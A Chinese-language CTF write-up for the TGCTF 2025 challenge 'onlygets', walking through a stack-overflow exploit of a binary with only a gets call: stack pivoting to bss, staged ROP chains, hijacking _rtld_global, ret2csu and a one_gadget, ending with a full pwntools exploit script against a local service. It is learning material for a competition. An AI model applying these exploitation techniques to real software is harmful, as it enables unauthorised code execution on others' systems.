TGCTF 2025 WP

TGCTF 2025 onlygets

0x01 前言

总体来说题目难度适中,后边有两道难题没写出来,还有一题当时唐了没想起来思路,特来记录一下

0x2 onlygets

程序分析

这是一个大道至简的题,简到只有一个gets函数,比赛时候也是没写出来,今天看了一下午的官方wp学到了新姿势。

image-20250416105435824

常规的的栈溢出肯定打不出来了,没有任何输入函数调用

gdb调试一下看看栈信息,发现了栈中有_rtld_global和__libc_start_main+128,这时候就联想到了,利用__libc_start_main+128函数的一个调用链了

image-20250416110001639

在__libc_start_main+128出有这么一段代码,如果我们让rcx为libc的地址,劫持_rtld_global为我们想要的偏移,这样到add rcx ,[r14]就能到达我们想去的位置。

image-20250416110443392

总结思路

总体思路就是:

  1. 劫持_rtld_global为我们想要的偏移
  2. 然后调用__libc_start_main+128

说起来好像很简单的样子,实际上一点不难,我就调试了一下午而已(菜菜!!😭)

实现过程

过程一 栈迁移

因为没有输出函数,所以我们没办法泄露栈地址,就没办法对栈进行操作,只能把栈迁移到我们可控的地址 — bss段,如果单纯的迁移到bss段,栈内信息都没了,所以这时候就要控制执行流到start函数,进行初始化信息

1
2
3
4
5
6
7
payload = b'a' * 0x10 + p64(bss_addr) + p64(read_addr)
p.sendline(payload)
sleep(0.5)

payload = b'b' * 0x10 + p64(bss_addr) + p64(start_addr)
p.sendline(payload)
sleep(0.5)

调试一下看看情况,成功迁移到bss段并进项栈信息初始化

image-20250416112309264

如果要对_rtld_global进项劫持,可以用pop rdi然后调用gets函数就能设置_rtld_global的值,但是如果我们直接进行覆盖,就会导致_rtld_global的值丢失,这样就达不到我们的目的,所以只能控制输入地址为_rtld_global下面的,先把下面的ROP布置好,然后再迁移回来,进项上面的ROP布置。

过程二 布置ROP链1

如果要对_rtld_global进项劫持,可以用pop rdi然后调用gets函数就能设置_rtld_global的值,但是如果我们直接进行覆盖,就会导致_rtld_global的值丢失,这样就达不到我们的目的,所以只能控制输入地址为_rtld_global下面的,先把下面的ROP布置好,然后再迁移回来,进行上面的ROP布置。

1
2
3
4
5
6
7
payload = b'c' * 0x10 + p64(0x601170) + p64(read_addr)
p.sendline(payload)
sleep(0.5)

payload = p64(call_gets) + p64(0) + p64(0x601110) + p64(leave_ret)
p.sendline(payload)
sleep(0.5)

调试一下看看情况,可以看到成功布置了ROP链,同时我们实现了栈迁移回去的作用

image-20250416113104741

这个rbp设置有讲究,需要迁移到栈上信息为main函数的地方,这样执行流又被我们重新控制了

image-20250416113424197

过程三 布置ROP链2

此时我们的栈情况是这样的,接下来就正常布置ROP链

image-20250416113711061

1
2
3
payload = b'e' * 0x10 + p64(0x601188) + p64(ret_addr) * 6 +  p64(pop_rdi)[:-2]
p.sendline(payload)
sleep(0.5)

这里的rbp设置和上面一个道理,因为调用的gets后面有leave_ret,所以还可以实现栈迁移,控制执行流到main

image-20250416114047348

过程四 控制_rtld_global的值

这个值选择也很有讲究,我就是调试的过程中,发现rbp比rsp地址低,有概率出现报错,所以我们直接选择下面空旷的bss段地址,这样设置rbp的地址不容易报错

1
2
3
4
5
6
7
8
payload = p64(0x6012a0)
p.sendline(payload)
sleep(0.5)

payload = b'f' * 0x10 + p64(0x6012b0) + p64(read_addr)
p.sendline(payload)
sleep(0.5)

过程五 构造最终payload

这个payload就是输入到_rtld_global控制的那个地址,也就是我们控制的0x6012a0,构造过程需要调试才知道原理,先粘贴出代码

1
2
3
4
5
6
7
8
9
10
11
12
payload = (
p64(-293 - libc.sym["gets"] + 0xebd3f) +
p64(0) + p64(0) +
p64(csu_addr) +
p64(0) +
p64(0x6012a8) +
p64(0x6011a8) +
p64(0) * 3 +
p64(csucall_addr)
).ljust(0xa0, b'\x00') + p64(0x601150) # 填充 + 控制流劫持?
p.sendline(payload)
sleep(0.5)

我们通过csu技术,控制到 __libc_start_main+128

image-20250416115917445

r12寄存器为__libc_start_main+128地址 , rbx必须为0,这样就能控制到__libc_start_main+128函数了,rbp的值设置为下面空旷bss段地址就行,因为其他函数要进行栈操作,不能不管rbp的值,如果为0,就会报错

这两个行代码就说明为什么要填充0xa0个,然后后面填充一个地址,这个地址是gets残留的上一个地址,因为下面还要对地址进行+8处理

image-20250416121147895

可以看到成功控制到one_gadget

image-20250416121400457

完整脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
from pwn import *
from ctypes import *
from LibcSearcher import *
from pwnpy import *
import sys

filename = './vuln'
url = '127.0.0.1:46671'
gdbscript = '''
b * 0x00000000004005F1
'''
set_context(log_level='debug', arch='amd64', os='linux', endian='little', timeout=5)
p = pr(url = url , filename = filename , gdbscript = gdbscript)
elf = ELF(filename)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

bss_addr = 0x0000000000601200
read_addr = 0x00000000004005E5
start_addr = 0x0000000000400480
leave_ret = 0x00000000004005FB
call_gets = 0x00000000004005F1
pop_rdi = 0x0000000000400663
ret_addr = 0x00000000004005FC
csu_addr = 0x000000000040065A
csucall_addr = 0x0000000000400649

payload = b'a' * 0x10 + p64(bss_addr) + p64(read_addr)
p.sendline(payload)
sleep(0.5)

payload = b'b' * 0x10 + p64(bss_addr) + p64(start_addr)
p.sendline(payload)
sleep(0.5)

payload = b'c' * 0x10 + p64(0x601170) + p64(read_addr)
p.sendline(payload)
sleep(0.5)

payload = p64(call_gets) + p64(0) + p64(0x601110) + p64(leave_ret)
p.sendline(payload)
sleep(0.5)

payload = b'e' * 0x10 + p64(0x601188) + p64(ret_addr) * 6 + p64(pop_rdi)[:-2]
p.sendline(payload)
sleep(0.5)

payload = p64(0x6012a0)
p.sendline(payload)
sleep(0.5)

pause()
payload = b'f' * 0x10 + p64(0x6012b0) + p64(read_addr)
p.sendline(payload)
sleep(0.5)

oggs = [0xebc81 , 0xebc85 , 0xebc88 , 0xebce2 , 0xebd38 , 0xebd3f , 0xebd43]

payload = (
p64(-293 - libc.sym["gets"] + 0xebd3f) +
p64(0) + p64(0) +
p64(csu_addr) +
p64(0) +
p64(0x6012a8) +
p64(0x6011a8) +
p64(0) * 3 +
p64(csucall_addr)
).ljust(0xa0, b'\x00') + p64(0x601150)
p.sendline(payload)
sleep(0.5)

p.interactive()

总结

方法方法是一种十分考验调试能力,对rbp控制能力的题,写下来收获挺多的。